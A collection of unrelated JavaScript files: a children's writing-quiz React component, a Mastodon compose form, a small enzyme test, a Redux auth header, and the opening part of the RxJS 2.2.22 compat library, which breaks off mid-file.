if(_.includes(attribute,key))
answers[key] = answers[key] + 10
}
}
localStorage.setItem('attributes', JSON.stringify(answers));
var retrievedObject = localStorage.getItem('attributes');
console.log('retrievedObject: ', JSON.parse(retrievedObject));
}
if(this.refs.ans3.value<4)
{
var retrievedObject = localStorage.getItem('attributes');
var answers = JSON.parse(retrievedObject);
var attribute = ["DH"]
for (var key in answers) {
//console.log(key)
if (answers.hasOwnProperty(key)) {
if(_.includes(attribute,key))
answers[key] = answers[key] + 10
}
}
localStorage.setItem('attributes', JSON.stringify(answers));
var retrievedObject = localStorage.getItem('attributes');
console.log('retrievedObject: ', JSON.parse(retrievedObject));
}
browserHistory.push("/child5");
}
render(){
var visibility=this.state.visibility
var button_visibility = this.state.button_visibility
var counter = this.state.counter
var ans_visibility = this.state.ans_visibility
return(
<div className="bg-washed-blue h-100">
<Navbar />
<Modal
isOpen={this.state.modalIsOpen}
onAfterOpen={this.afterOpenModal}
onRequestClose={this.closeModal}
// style={customStyles}
contentLabel="Example Modal"
>
<h1>one minute writing</h1>
<h2>Rules</h2>
<p>The game consist of passage that will appear for a minute. The parent should note down whether the child is able to write the complete passage without any spelling mistake.</p>
<button onClick={this.closeModal.bind(this)}>close</button>
</Modal>
<div className="mv5 br2">
<div className="pa1 w-70 ml7 bg-lightest-blue ba b--lightest-blue tc navy" >
<h1>One Minute Passage Writing</h1>
</div>
<div className="pa6 w-70 ml7 bg-white ba b--lightest-blue">
<button onClick={this.start.bind(this)} className={button_visibility}>Start</button>
<button onClick={this.openModal.bind(this)} className={button_visibility}>Instructions</button>
<div className={visibility}>
<p>Timer:{counter}</p>
<p>For although a man is judged by his actions, by what he has said and done, a man judges himself by what he might have done
- a judgment that is necessarily hampered, bot only the scope and limits of his imagination, but by the ever-changing measure of his
doubt and self-esteem. </p>
</div>
<div className={ans_visibility}>
<p>On the scale of 1-10, rate your child's spelling?</p>
<input ref="ans1" type="text" className="w-10"/>
<p>On the scale of 1-10, rate your child's writing speed?</p>
<input ref="ans2" type="text" className="w-10"/>
<p>On the scale of 1-10, rate your child's handwriting?</p>
<input ref="ans3" type="text" className="w-10"/>
<button onClick={this.submit.bind(this)}>Submit</button>
</div>
</div>
</div>
</div>
);
}
}
module.exports = ChildQues4;
|
internals/templates/containers/HomePage/Component.js
|
akash6190/apollo-starter
|
/*
* HomePage
*
* This is the first thing users see of our App, at the '/' route
*
* NOTE: while this component should technically be a stateless functional
* component (SFC), hot reloading does not currently support SFCs. If hot
* reloading is not a necessity for you then you can refactor it and remove
* the linting exception.
*/
import React from 'react';
import { FormattedMessage } from 'react-intl';
import messages from './messages';
export default class HomePage extends React.PureComponent { // eslint-disable-line react/prefer-stateless-function
render() {
return (
<h1>
<FormattedMessage {...messages.header} />
</h1>
);
}
}
|
app/javascript/mastodon/features/compose/components/compose_form.js
|
mhffdq/mastodon
|
import React from 'react';
import CharacterCounter from './character_counter';
import Button from '../../../components/button';
import ImmutablePropTypes from 'react-immutable-proptypes';
import PropTypes from 'prop-types';
import ReplyIndicatorContainer from '../containers/reply_indicator_container';
import AutosuggestTextarea from '../../../components/autosuggest_textarea';
import UploadButtonContainer from '../containers/upload_button_container';
import { defineMessages, injectIntl } from 'react-intl';
import Collapsable from '../../../components/collapsable';
import SpoilerButtonContainer from '../containers/spoiler_button_container';
import PrivacyDropdownContainer from '../containers/privacy_dropdown_container';
import SensitiveButtonContainer from '../containers/sensitive_button_container';
import EmojiPickerDropdown from '../containers/emoji_picker_dropdown_container';
import UploadFormContainer from '../containers/upload_form_container';
import WarningContainer from '../containers/warning_container';
import { isMobile } from '../../../is_mobile';
import ImmutablePureComponent from 'react-immutable-pure-component';
import { length } from 'stringz';
import { countableText } from '../util/counter';
const messages = defineMessages({
placeholder: { id: 'compose_form.placeholder', defaultMessage: 'What is on your mind?' },
spoiler_placeholder: { id: 'compose_form.spoiler_placeholder', defaultMessage: 'Write your warning here' },
publish: { id: 'compose_form.publish', defaultMessage: 'Toot' },
publishLoud: { id: 'compose_form.publish_loud', defaultMessage: '{publish}!' },
});
@injectIntl
export default class ComposeForm extends ImmutablePureComponent {
static propTypes = {
intl: PropTypes.object.isRequired,
text: PropTypes.string.isRequired,
suggestion_token: PropTypes.string,
suggestions: ImmutablePropTypes.list,
spoiler: PropTypes.bool,
privacy: PropTypes.string,
spoiler_text: PropTypes.string,
focusDate: PropTypes.instanceOf(Date),
preselectDate: PropTypes.instanceOf(Date),
is_submitting: PropTypes.bool,
is_uploading: PropTypes.bool,
onChange: PropTypes.func.isRequired,
onSubmit: PropTypes.func.isRequired,
onClearSuggestions: PropTypes.func.isRequired,
onFetchSuggestions: PropTypes.func.isRequired,
onSuggestionSelected: PropTypes.func.isRequired,
onChangeSpoilerText: PropTypes.func.isRequired,
onPaste: PropTypes.func.isRequired,
onPickEmoji: PropTypes.func.isRequired,
showSearch: PropTypes.bool,
anyMedia: PropTypes.bool,
};
static defaultProps = {
showSearch: false,
};
handleChange = (e) => {
this.props.onChange(e.target.value);
}
handleKeyDown = (e) => {
if (e.keyCode === 13 && (e.ctrlKey || e.metaKey)) {
this.handleSubmit();
}
}
handleSubmit = () => {
if (this.props.text !== this.autosuggestTextarea.textarea.value) {
// Something changed the text inside the textarea (e.g. browser extensions like Grammarly)
// Update the state to match the current text
this.props.onChange(this.autosuggestTextarea.textarea.value);
}
this.props.onSubmit();
}
onSuggestionsClearRequested = () => {
this.props.onClearSuggestions();
}
onSuggestionsFetchRequested = (token) => {
this.props.onFetchSuggestions(token);
}
onSuggestionSelected = (tokenStart, token, value) => {
this._restoreCaret = null;
this.props.onSuggestionSelected(tokenStart, token, value);
}
handleChangeSpoilerText = (e) => {
this.props.onChangeSpoilerText(e.target.value);
}
componentWillReceiveProps (nextProps) {
// If this is the update where we've finished uploading,
// save the last caret position so we can restore it below!
if (!nextProps.is_uploading && this.props.is_uploading) {
this._restoreCaret = this.autosuggestTextarea.textarea.selectionStart;
}
}
componentDidUpdate (prevProps) {
// This statement does several things:
// - If we're beginning a reply, and,
// - Replying to zero or one users, places the cursor at the end of the textbox.
// - Replying to more than one user, selects any usernames past the first;
// this provides a convenient shortcut to drop everyone else from the conversation.
// - If we've just finished uploading an image, and have a saved caret position,
// restores the cursor to that position after the text changes!
if (this.props.focusDate !== prevProps.focusDate || (prevProps.is_uploading && !this.props.is_uploading && typeof this._restoreCaret === 'number')) {
let selectionEnd, selectionStart;
if (this.props.preselectDate !== prevProps.preselectDate) {
selectionEnd = this.props.text.length;
selectionStart = this.props.text.search(/\s/) + 1;
} else if (typeof this._restoreCaret === 'number') {
selectionStart = this._restoreCaret;
selectionEnd = this._restoreCaret;
} else {
selectionEnd = this.props.text.length;
selectionStart = selectionEnd;
}
this.autosuggestTextarea.textarea.setSelectionRange(selectionStart, selectionEnd);
this.autosuggestTextarea.textarea.focus();
} else if(prevProps.is_submitting && !this.props.is_submitting) {
this.autosuggestTextarea.textarea.focus();
}
}
setAutosuggestTextarea = (c) => {
this.autosuggestTextarea = c;
}
handleEmojiPick = (data) => {
const position = this.autosuggestTextarea.textarea.selectionStart;
const emojiChar = data.native;
this._restoreCaret = position + emojiChar.length + 1;
this.props.onPickEmoji(position, data);
}
render () {
const { intl, onPaste, showSearch, anyMedia } = this.props;
const disabled = this.props.is_submitting;
const text = [this.props.spoiler_text, countableText(this.props.text)].join('');
const disabledButton = disabled || this.props.is_uploading || length(text) > 500 || (text.length !== 0 && text.trim().length === 0 && !anyMedia);
let publishText = '';
if (this.props.privacy === 'private' || this.props.privacy === 'direct') {
publishText = <span className='compose-form__publish-private'><i className='fa fa-lock' /> {intl.formatMessage(messages.publish)}</span>;
} else {
publishText = this.props.privacy !== 'unlisted' ? intl.formatMessage(messages.publishLoud, { publish: intl.formatMessage(messages.publish) }) : intl.formatMessage(messages.publish);
}
return (
<div className='compose-form'>
<WarningContainer />
<Collapsable isVisible={this.props.spoiler} fullHeight={50}>
<div className='spoiler-input'>
<label>
<span style={{ display: 'none' }}>{intl.formatMessage(messages.spoiler_placeholder)}</span>
<input placeholder={intl.formatMessage(messages.spoiler_placeholder)} value={this.props.spoiler_text} onChange={this.handleChangeSpoilerText} onKeyDown={this.handleKeyDown} type='text' className='spoiler-input__input' id='cw-spoiler-input' />
</label>
</div>
</Collapsable>
<ReplyIndicatorContainer />
<div className='compose-form__autosuggest-wrapper'>
<AutosuggestTextarea
ref={this.setAutosuggestTextarea}
placeholder={intl.formatMessage(messages.placeholder)}
disabled={disabled}
value={this.props.text}
onChange={this.handleChange}
suggestions={this.props.suggestions}
onKeyDown={this.handleKeyDown}
onSuggestionsFetchRequested={this.onSuggestionsFetchRequested}
onSuggestionsClearRequested={this.onSuggestionsClearRequested}
onSuggestionSelected={this.onSuggestionSelected}
onPaste={onPaste}
autoFocus={!showSearch && !isMobile(window.innerWidth)}
/>
<EmojiPickerDropdown onPickEmoji={this.handleEmojiPick} />
</div>
<div className='compose-form__modifiers'>
<UploadFormContainer />
</div>
<div className='compose-form__buttons-wrapper'>
<div className='compose-form__buttons'>
<UploadButtonContainer />
<PrivacyDropdownContainer />
<SensitiveButtonContainer />
<SpoilerButtonContainer />
</div>
<div className='character-counter__wrapper'><CharacterCounter max={500} text={text} /></div>
</div>
<div className='compose-form__publish'>
<div className='compose-form__publish-button-wrapper'><Button text={publishText} onClick={this.handleSubmit} disabled={disabledButton} block /></div>
</div>
</div>
);
}
}
|
src/components/tests/Character.spec.js
|
laurazenc/react-marvel-comics
|
import React from 'react';
import {shallow} from 'enzyme';
import {Character} from './../';
describe('<Character />', () => {
const character = {
thumbnail: {
path: '',
url: ''
},
name: 'Spider-man'
};
it('Should render the character\'s name', () => {
const wrapper = shallow(<Character character={character} />);
const actual = wrapper.find('.character-name').text().trim();
const expected = 'Spider-man';
expect(actual).toEqual(expected);
});
});
|
src/icons/SearchIcon.js
|
SemaiCZE/perf-data-visualizer
|
import React from 'react';
import Icon from 'react-fontawesome';
const SearchIcon = props => <Icon {...props} name="search" />;
export default SearchIcon;
|
src/components/header.js
|
donpinkus/boilerplate-single-server
|
import React, { Component } from 'react';
import { connect } from 'react-redux';
import { Link } from 'react-router';
class Header extends Component {
renderLinks() {
if (this.props.authenticated) {
// show a link to sign out
return (
<li className="nav-item">
<Link className="nav-link" to="/signout">Sign Out</Link>
</li>
);
} else {
// show a link to sign in or sign up
return [
<li className="nav-item" key={1}>
<Link className="nav-link" to="/signin">Sign In</Link>
</li>,
<li className="nav-item" key={2}>
<Link className="nav-link" to="/signup">Sign Up</Link>
</li>
];
}
}
render() {
console.log('authenticated', this.props.authenticated);
return (
<nav className="navbar navbar-light">
<Link to="/" className="navbar-brand">Redux Auth</Link>
<ul className="nav navbar-nav">
{this.renderLinks()}
</ul>
</nav>
)
}
}
function mapStateToProps(state) {
return {
authenticated: state.auth.authenticated
}
}
export default connect(mapStateToProps)(Header)
|
ajax/libs/rxjs/2.2.22/rx.all.compat.js
|
whardier/cdnjs
|
// Copyright (c) Microsoft Open Technologies, Inc. All rights reserved. See License.txt in the project root for license information.
;(function (undefined) {
var objectTypes = {
'boolean': false,
'function': true,
'object': true,
'number': false,
'string': false,
'undefined': false
};
var root = (objectTypes[typeof window] && window) || this,
freeExports = objectTypes[typeof exports] && exports && !exports.nodeType && exports,
freeModule = objectTypes[typeof module] && module && !module.nodeType && module,
moduleExports = freeModule && freeModule.exports === freeExports && freeExports,
freeGlobal = objectTypes[typeof global] && global;
if (freeGlobal && (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal)) {
root = freeGlobal;
}
var Rx = {
internals: {},
config: {
Promise: root.Promise // Detect if promise exists
},
helpers: { }
};
// Defaults
var noop = Rx.helpers.noop = function () { },
identity = Rx.helpers.identity = function (x) { return x; },
defaultNow = Rx.helpers.defaultNow = (function () { return !!Date.now ? Date.now : function () { return +new Date; }; }()),
defaultComparer = Rx.helpers.defaultComparer = function (x, y) { return isEqual(x, y); },
defaultSubComparer = Rx.helpers.defaultSubComparer = function (x, y) { return x > y ? 1 : (x < y ? -1 : 0); },
defaultKeySerializer = Rx.helpers.defaultKeySerializer = function (x) { return x.toString(); },
defaultError = Rx.helpers.defaultError = function (err) { throw err; },
isPromise = Rx.helpers.isPromise = function (p) { return !!p && typeof p.then === 'function' && p.then !== Rx.Observable.prototype.then; },
asArray = Rx.helpers.asArray = function () { return Array.prototype.slice.call(arguments); },
not = Rx.helpers.not = function (a) { return !a; };
// Errors
var sequenceContainsNoElements = 'Sequence contains no elements.';
var argumentOutOfRange = 'Argument out of range';
var objectDisposed = 'Object has been disposed';
function checkDisposed() { if (this.isDisposed) { throw new Error(objectDisposed); } }
// Shim in iterator support
var $iterator$ = (typeof Symbol === 'object' && Symbol.iterator) ||
'_es6shim_iterator_';
// Firefox ships a partial implementation using the name @@iterator.
// https://bugzilla.mozilla.org/show_bug.cgi?id=907077#c14
// So use that name if we detect it.
if (root.Set && typeof new root.Set()['@@iterator'] === 'function') {
$iterator$ = '@@iterator';
}
var doneEnumerator = { done: true, value: undefined };
/** `Object#toString` result shortcuts */
var argsClass = '[object Arguments]',
arrayClass = '[object Array]',
boolClass = '[object Boolean]',
dateClass = '[object Date]',
errorClass = '[object Error]',
funcClass = '[object Function]',
numberClass = '[object Number]',
objectClass = '[object Object]',
regexpClass = '[object RegExp]',
stringClass = '[object String]';
var toString = Object.prototype.toString,
hasOwnProperty = Object.prototype.hasOwnProperty,
supportsArgsClass = toString.call(arguments) == argsClass, // For less <IE9 && FF<4
suportNodeClass,
errorProto = Error.prototype,
objectProto = Object.prototype,
propertyIsEnumerable = objectProto.propertyIsEnumerable;
try {
suportNodeClass = !(toString.call(document) == objectClass && !({ 'toString': 0 } + ''));
} catch(e) {
suportNodeClass = true;
}
var shadowedProps = [
'constructor', 'hasOwnProperty', 'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString', 'valueOf'
];
var nonEnumProps = {};
nonEnumProps[arrayClass] = nonEnumProps[dateClass] = nonEnumProps[numberClass] = { 'constructor': true, 'toLocaleString': true, 'toString': true, 'valueOf': true };
nonEnumProps[boolClass] = nonEnumProps[stringClass] = { 'constructor': true, 'toString': true, 'valueOf': true };
nonEnumProps[errorClass] = nonEnumProps[funcClass] = nonEnumProps[regexpClass] = { 'constructor': true, 'toString': true };
nonEnumProps[objectClass] = { 'constructor': true };
var support = {};
(function () {
var ctor = function() { this.x = 1; },
props = [];
ctor.prototype = { 'valueOf': 1, 'y': 1 };
for (var key in new ctor) { props.push(key); }
for (key in arguments) { }
// Detect if `name` or `message` properties of `Error.prototype` are enumerable by default.
support.enumErrorProps = propertyIsEnumerable.call(errorProto, 'message') || propertyIsEnumerable.call(errorProto, 'name');
// Detect if `prototype` properties are enumerable by default.
support.enumPrototypes = propertyIsEnumerable.call(ctor, 'prototype');
// Detect if `arguments` object indexes are non-enumerable
support.nonEnumArgs = key != 0;
// Detect if properties shadowing those on `Object.prototype` are non-enumerable.
support.nonEnumShadows = !/valueOf/.test(props);
}(1));
function isObject(value) {
// check if the value is the ECMAScript language type of Object
// http://es5.github.io/#x8
// and avoid a V8 bug
// https://code.google.com/p/v8/issues/detail?id=2291
var type = typeof value;
return value && (type == 'function' || type == 'object') || false;
}
function keysIn(object) {
var result = [];
if (!isObject(object)) {
return result;
}
if (support.nonEnumArgs && object.length && isArguments(object)) {
object = slice.call(object);
}
var skipProto = support.enumPrototypes && typeof object == 'function',
skipErrorProps = support.enumErrorProps && (object === errorProto || object instanceof Error);
for (var key in object) {
if (!(skipProto && key == 'prototype') &&
!(skipErrorProps && (key == 'message' || key == 'name'))) {
result.push(key);
}
}
if (support.nonEnumShadows && object !== objectProto) {
var ctor = object.constructor,
index = -1,
length = shadowedProps.length;
if (object === (ctor && ctor.prototype)) {
var className = object === stringProto ? stringClass : object === errorProto ? errorClass : toString.call(object),
nonEnum = nonEnumProps[className];
}
while (++index < length) {
key = shadowedProps[index];
if (!(nonEnum && nonEnum[key]) && hasOwnProperty.call(object, key)) {
result.push(key);
}
}
}
return result;
}
function internalFor(object, callback, keysFunc) {
var index = -1,
props = keysFunc(object),
length = props.length;
while (++index < length) {
var key = props[index];
if (callback(object[key], key, object) === false) {
break;
}
}
return object;
}
function internalForIn(object, callback) {
return internalFor(object, callback, keysIn);
}
function isNode(value) {
// IE < 9 presents DOM nodes as `Object` objects except they have `toString`
// methods that are `typeof` "string" and still can coerce nodes to strings
return typeof value.toString != 'function' && typeof (value + '') == 'string';
}
function isArguments(value) {
return (value && typeof value == 'object') ? toString.call(value) == argsClass : false;
}
// fallback for browsers that can't detect `arguments` objects by [[Class]]
if (!supportsArgsClass) {
isArguments = function(value) {
return (value && typeof value == 'object') ? hasOwnProperty.call(value, 'callee') : false;
};
}
function isFunction(value) {
return typeof value == 'function';
}
// fallback for older versions of Chrome and Safari
if (isFunction(/x/)) {
isFunction = function(value) {
return typeof value == 'function' && toString.call(value) == funcClass;
};
}
var isEqual = Rx.internals.isEqual = function (x, y) {
return deepEquals(x, y, [], []);
};
/** @private
* Used for deep comparison
**/
function deepEquals(a, b, stackA, stackB) {
// exit early for identical values
if (a === b) {
// treat `+0` vs. `-0` as not equal
return a !== 0 || (1 / a == 1 / b);
}
var type = typeof a,
otherType = typeof b;
// exit early for unlike primitive values
if (a === a && (a == null || b == null ||
(type != 'function' && type != 'object' && otherType != 'function' && otherType != 'object'))) {
return false;
}
// compare [[Class]] names
var className = toString.call(a),
otherClass = toString.call(b);
if (className == argsClass) {
className = objectClass;
}
if (otherClass == argsClass) {
otherClass = objectClass;
}
if (className != otherClass) {
return false;
}
switch (className) {
case boolClass:
case dateClass:
// coerce dates and booleans to numbers, dates to milliseconds and booleans
// to `1` or `0` treating invalid dates coerced to `NaN` as not equal
return +a == +b;
case numberClass:
// treat `NaN` vs. `NaN` as equal
return (a != +a)
? b != +b
// but treat `-0` vs. `+0` as not equal
: (a == 0 ? (1 / a == 1 / b) : a == +b);
case regexpClass:
case stringClass:
// coerce regexes to strings (http://es5.github.io/#x15.10.6.4)
// treat string primitives and their corresponding object instances as equal
return a == String(b);
}
var isArr = className == arrayClass;
if (!isArr) {
// exit for functions and DOM nodes
if (className != objectClass || (!support.nodeClass && (isNode(a) || isNode(b)))) {
return false;
}
// in older versions of Opera, `arguments` objects have `Array` constructors
var ctorA = !support.argsObject && isArguments(a) ? Object : a.constructor,
ctorB = !support.argsObject && isArguments(b) ? Object : b.constructor;
// non `Object` object instances with different constructors are not equal
if (ctorA != ctorB &&
!(hasOwnProperty.call(a, 'constructor') && hasOwnProperty.call(b, 'constructor')) &&
!(isFunction(ctorA) && ctorA instanceof ctorA && isFunction(ctorB) && ctorB instanceof ctorB) &&
('constructor' in a && 'constructor' in b)
) {
return false;
}
}
// assume cyclic structures are equal
// the algorithm for detecting cyclic structures is adapted from ES 5.1
// section 15.12.3, abstract operation `JO` (http://es5.github.io/#x15.12.3)
var initedStack = !stackA;
stackA || (stackA = []);
stackB || (stackB = []);
var length = stackA.length;
while (length--) {
if (stackA[length] == a) {
return stackB[length] == b;
}
}
var size = 0;
result = true;
// add `a` and `b` to the stack of traversed objects
stackA.push(a);
stackB.push(b);
// recursively compare objects and arrays (susceptible to call stack limits)
if (isArr) {
// compare lengths to determine if a deep comparison is necessary
length = a.length;
size = b.length;
result = size == length;
if (result) {
// deep compare the contents, ignoring non-numeric properties
while (size--) {
var index = length,
value = b[size];
if (!(result = deepEquals(a[size], value, stackA, stackB))) {
break;
}
}
}
}
else {
// deep compare objects using `forIn`, instead of `forOwn`, to avoid `Object.keys`
// which, in this case, is more costly
internalForIn(b, function(value, key, b) {
if (hasOwnProperty.call(b, key)) {
// count the number of properties.
size++;
// deep compare each property value.
return (result = hasOwnProperty.call(a, key) && deepEquals(a[key], value, stackA, stackB));
}
});
if (result) {
// ensure both objects have the same number of properties
internalForIn(a, function(value, key, a) {
if (hasOwnProperty.call(a, key)) {
// `size` will be `-1` if `a` has more properties than `b`
return (result = --size > -1);
}
});
}
}
stackA.pop();
stackB.pop();
return result;
}
var slice = Array.prototype.slice;
function argsOrArray(args, idx) {
return args.length === 1 && Array.isArray(args[idx]) ?
args[idx] :
slice.call(args);
}
var hasProp = {}.hasOwnProperty;
/** @private */
var inherits = this.inherits = Rx.internals.inherits = function (child, parent) {
function __() { this.constructor = child; }
__.prototype = parent.prototype;
child.prototype = new __();
};
/** @private */
var addProperties = Rx.internals.addProperties = function (obj) {
var sources = slice.call(arguments, 1);
for (var i = 0, len = sources.length; i < len; i++) {
var source = sources[i];
for (var prop in source) {
obj[prop] = source[prop];
}
}
};
// Rx Utils
var addRef = Rx.internals.addRef = function (xs, r) {
return new AnonymousObservable(function (observer) {
return new CompositeDisposable(r.getDisposable(), xs.subscribe(observer));
});
};
// Collection polyfills
function arrayInitialize(count, factory) {
var a = new Array(count);
for (var i = 0; i < count; i++) {
a[i] = factory();
}
return a;
}
// Utilities
if (!Function.prototype.bind) {
Function.prototype.bind = function (that) {
var target = this,
args = slice.call(arguments, 1);
var bound = function () {
if (this instanceof bound) {
function F() { }
F.prototype = target.prototype;
var self = new F();
var result = target.apply(self, args.concat(slice.call(arguments)));
if (Object(result) === result) {
return result;
}
return self;
} else {
return target.apply(that, args.concat(slice.call(arguments)));
}
};
return bound;
};
}
var boxedString = Object("a"),
splitString = boxedString[0] != "a" || !(0 in boxedString);
if (!Array.prototype.every) {
Array.prototype.every = function every(fun /*, thisp */) {
var object = Object(this),
self = splitString && {}.toString.call(this) == stringClass ?
this.split("") :
object,
length = self.length >>> 0,
thisp = arguments[1];
if ({}.toString.call(fun) != funcClass) {
throw new TypeError(fun + " is not a function");
}
for (var i = 0; i < length; i++) {
if (i in self && !fun.call(thisp, self[i], i, object)) {
return false;
}
}
return true;
};
}
if (!Array.prototype.map) {
Array.prototype.map = function map(fun /*, thisp*/) {
var object = Object(this),
self = splitString && {}.toString.call(this) == stringClass ?
this.split("") :
object,
length = self.length >>> 0,
result = Array(length),
thisp = arguments[1];
if ({}.toString.call(fun) != funcClass) {
throw new TypeError(fun + " is not a function");
}
for (var i = 0; i < length; i++) {
if (i in self)
result[i] = fun.call(thisp, self[i], i, object);
}
return result;
};
}
if (!Array.prototype.filter) {
Array.prototype.filter = function (predicate) {
var results = [], item, t = new Object(this);
for (var i = 0, len = t.length >>> 0; i < len; i++) {
item = t[i];
if (i in t && predicate.call(arguments[1], item, i, t)) {
results.push(item);
}
}
return results;
};
}
if (!Array.isArray) {
Array.isArray = function (arg) {
return Object.prototype.toString.call(arg) == arrayClass;
};
}
if (!Array.prototype.indexOf) {
Array.prototype.indexOf = function indexOf(searchElement) {
var t = Object(this);
var len = t.length >>> 0;
if (len === 0) {
return -1;
}
var n = 0;
if (arguments.length > 1) {
n = Number(arguments[1]);
if (n !== n) {
n = 0;
} else if (n !== 0 && n != Infinity && n !== -Infinity) {
n = (n > 0 || -1) * Math.floor(Math.abs(n));
}
}
if (n >= len) {
return -1;
}
var k = n >= 0 ? n : Math.max(len - Math.abs(n), 0);
for (; k < len; k++) {
if (k in t && t[k] === searchElement) {
return k;
}
}
return -1;
};
}
// Collections
var IndexedItem = function (id, value) {
this.id = id;
this.value = value;
};
IndexedItem.prototype.compareTo = function (other) {
var c = this.value.compareTo(other.value);
if (c === 0) {
c = this.id - other.id;
}
return c;
};
// Priority Queue for Scheduling
var PriorityQueue = Rx.internals.PriorityQueue = function (capacity) {
this.items = new Array(capacity);
this.length = 0;
};
var priorityProto = PriorityQueue.prototype;
priorityProto.isHigherPriority = function (left, right) {
return this.items[left].compareTo(this.items[right]) < 0;
};
priorityProto.percolate = function (index) {
if (index >= this.length || index < 0) {
return;
}
var parent = index - 1 >> 1;
if (parent < 0 || parent === index) {
return;
}
if (this.isHigherPriority(index, parent)) {
var temp = this.items[index];
this.items[index] = this.items[parent];
this.items[parent] = temp;
this.percolate(parent);
}
};
priorityProto.heapify = function (index) {
if (index === undefined) {
index = 0;
}
if (index >= this.length || index < 0) {
return;
}
var left = 2 * index + 1,
right = 2 * index + 2,
first = index;
if (left < this.length && this.isHigherPriority(left, first)) {
first = left;
}
if (right < this.length && this.isHigherPriority(right, first)) {
first = right;
}
if (first !== index) {
var temp = this.items[index];
this.items[index] = this.items[first];
this.items[first] = temp;
this.heapify(first);
}
};
priorityProto.peek = function () { return this.items[0].value; };
priorityProto.removeAt = function (index) {
this.items[index] = this.items[--this.length];
delete this.items[this.length];
this.heapify();
};
priorityProto.dequeue = function () {
var result = this.peek();
this.removeAt(0);
return result;
};
priorityProto.enqueue = function (item) {
var index = this.length++;
this.items[index] = new IndexedItem(PriorityQueue.count++, item);
this.percolate(index);
};
priorityProto.remove = function (item) {
for (var i = 0; i < this.length; i++) {
if (this.items[i].value === item) {
this.removeAt(i);
return true;
}
}
return false;
};
PriorityQueue.count = 0;
/**
* Represents a group of disposable resources that are disposed together.
* @constructor
*/
var CompositeDisposable = Rx.CompositeDisposable = function () {
this.disposables = argsOrArray(arguments, 0);
this.isDisposed = false;
this.length = this.disposables.length;
};
var CompositeDisposablePrototype = CompositeDisposable.prototype;
/**
* Adds a disposable to the CompositeDisposable or disposes the disposable if the CompositeDisposable is disposed.
* @param {Mixed} item Disposable to add.
*/
CompositeDisposablePrototype.add = function (item) {
if (this.isDisposed) {
item.dispose();
} else {
this.disposables.push(item);
this.length++;
}
};
/**
* Removes and disposes the first occurrence of a disposable from the CompositeDisposable.
* @param {Mixed} item Disposable to remove.
* @returns {Boolean} true if found; false otherwise.
*/
CompositeDisposablePrototype.remove = function (item) {
var shouldDispose = false;
if (!this.isDisposed) {
var idx = this.disposables.indexOf(item);
if (idx !== -1) {
shouldDispose = true;
this.disposables.splice(idx, 1);
this.length--;
item.dispose();
}
}
return shouldDispose;
};
/**
* Disposes all disposables in the group and removes them from the group.
*/
CompositeDisposablePrototype.dispose = function () {
if (!this.isDisposed) {
this.isDisposed = true;
var currentDisposables = this.disposables.slice(0);
this.disposables = [];
this.length = 0;
for (var i = 0, len = currentDisposables.length; i < len; i++) {
currentDisposables[i].dispose();
}
}
};
/**
* Removes and disposes all disposables from the CompositeDisposable, but does not dispose the CompositeDisposable.
*/
CompositeDisposablePrototype.clear = function () {
var currentDisposables = this.disposables.slice(0);
this.disposables = [];
this.length = 0;
for (var i = 0, len = currentDisposables.length; i < len; i++) {
currentDisposables[i].dispose();
}
};
/**
* Determines whether the CompositeDisposable contains a specific disposable.
* @param {Mixed} item Disposable to search for.
* @returns {Boolean} true if the disposable was found; otherwise, false.
*/
CompositeDisposablePrototype.contains = function (item) {
return this.disposables.indexOf(item) !== -1;
};
/**
* Converts the existing CompositeDisposable to an array of disposables
* @returns {Array} An array of disposable objects.
*/
CompositeDisposablePrototype.toArray = function () {
return this.disposables.slice(0);
};
/**
* Provides a set of static methods for creating Disposables.
*
* @constructor
* @param {Function} dispose Action to run during the first call to dispose. The action is guaranteed to be run at most once.
*/
var Disposable = Rx.Disposable = function (action) {
this.isDisposed = false;
this.action = action || noop;
};
/** Performs the task of cleaning up resources. */
Disposable.prototype.dispose = function () {
if (!this.isDisposed) {
this.action();
this.isDisposed = true;
}
};
/**
* Creates a disposable object that invokes the specified action when disposed.
* @param {Function} dispose Action to run during the first call to dispose. The action is guaranteed to be run at most once.
* @return {Disposable} The disposable object that runs the given action upon disposal.
*/
var disposableCreate = Disposable.create = function (action) { return new Disposable(action); };
/**
* Gets the disposable that does nothing when disposed.
*/
var disposableEmpty = Disposable.empty = { dispose: noop };
var BooleanDisposable = (function () {
function BooleanDisposable (isSingle) {
this.isSingle = isSingle;
this.isDisposed = false;
this.current = null;
}
var booleanDisposablePrototype = BooleanDisposable.prototype;
/**
* Gets the underlying disposable.
* @return The underlying disposable.
*/
booleanDisposablePrototype.getDisposable = function () {
return this.current;
};
/**
* Sets the underlying disposable.
* @param {Disposable} value The new underlying disposable.
*/
booleanDisposablePrototype.setDisposable = function (value) {
if (this.current && this.isSingle) {
throw new Error('Disposable has already been assigned');
}
var shouldDispose = this.isDisposed, old;
if (!shouldDispose) {
old = this.current;
this.current = value;
}
if (old) {
old.dispose();
}
if (shouldDispose && value) {
value.dispose();
}
};
/**
* Disposes the underlying disposable as well as all future replacements.
*/
booleanDisposablePrototype.dispose = function () {
var old;
if (!this.isDisposed) {
this.isDisposed = true;
old = this.current;
this.current = null;
}
if (old) {
old.dispose();
}
};
return BooleanDisposable;
}());
/**
* Represents a disposable resource which only allows a single assignment of its underlying disposable resource.
* If an underlying disposable resource has already been set, future attempts to set the underlying disposable resource will throw an Error.
*/
var SingleAssignmentDisposable = Rx.SingleAssignmentDisposable = (function (super_) {
inherits(SingleAssignmentDisposable, super_);
function SingleAssignmentDisposable() {
super_.call(this, true);
}
return SingleAssignmentDisposable;
}(BooleanDisposable));
/**
* Represents a disposable resource whose underlying disposable resource can be replaced by another disposable resource, causing automatic disposal of the previous underlying disposable resource.
*/
var SerialDisposable = Rx.SerialDisposable = (function (super_) {
inherits(SerialDisposable, super_);
function SerialDisposable() {
super_.call(this, false);
}
return SerialDisposable;
}(BooleanDisposable));
/**
* Represents a disposable resource that only disposes its underlying disposable resource when all dependent disposable objects have been disposed.
*/
var RefCountDisposable = Rx.RefCountDisposable = (function () {
function InnerDisposable(disposable) {
this.disposable = disposable;
this.disposable.count++;
this.isInnerDisposed = false;
}
InnerDisposable.prototype.dispose = function () {
if (!this.disposable.isDisposed) {
if (!this.isInnerDisposed) {
this.isInnerDisposed = true;
this.disposable.count--;
if (this.disposable.count === 0 && this.disposable.isPrimaryDisposed) {
this.disposable.isDisposed = true;
this.disposable.underlyingDisposable.dispose();
}
}
}
};
/**
* Initializes a new instance of the RefCountDisposable with the specified disposable.
* @constructor
